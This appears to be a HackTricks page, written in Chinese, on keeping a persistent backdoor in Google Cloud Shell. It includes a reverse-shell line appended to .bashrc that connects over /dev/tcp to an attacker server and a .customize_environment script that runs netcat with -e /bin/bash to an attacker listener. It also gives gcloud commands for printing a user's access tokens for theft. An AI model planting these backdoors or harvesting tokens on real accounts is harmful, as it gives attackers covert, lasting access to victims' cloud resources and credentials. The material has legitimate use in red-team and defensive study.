GCP - Cloud Shell Persistence

Support HackTricks

Cloud Shell

有关更多信息,请查看:

GCP - Cloud Shell Enum

Persistent Backdoor

Google Cloud Shell 允许您直接从浏览器访问云资源的命令行,无需任何相关费用。

您可以通过 web console 或运行 gcloud cloud-shell ssh 访问 Google 的 Cloud Shell。

此控制台对攻击者具有一些有趣的功能:

  1. 任何有权访问 Google Cloud 的 Google 用户 都可以访问一个完全认证的 Cloud Shell 实例(服务账户即使是组织的所有者也可以)。

  2. 如果没有活动,该实例将 至少保持其主目录 120 天

  3. 组织 无法监控 该实例的活动。

这基本上意味着攻击者可以在用户的主目录中放置一个后门,只要用户每 120 天至少连接一次 GC Shell,后门就会存活,攻击者每次运行时都会获得一个 shell,只需执行:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

在主文件夹中还有另一个文件叫做 .customize_environment,如果存在,将会在用户访问 cloud shell每次执行(就像在前面的技术中一样)。只需插入之前的后门或类似以下的内容,以保持持久性,只要用户“频繁”使用 cloud shell:

#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

需要注意的是,第一次执行需要身份验证的操作时,用户的浏览器中会出现一个弹出授权窗口。必须接受此窗口才能运行命令。如果出现意外的弹出窗口,可能会引起怀疑,并可能危及所使用的持久性方法。

这是从云终端(作为攻击者)执行 gcloud projects list 时在浏览器用户会话中查看的弹出窗口:

然而,如果用户积极使用云终端,则不会出现弹出窗口,您可以通过以下方式收集用户的令牌

gcloud auth print-access-token
gcloud auth application-default print-access-token

SSH连接的建立方式

基本上,使用这3个API调用:

但您可以在https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key找到更多信息。

参考文献

支持HackTricks

Last updated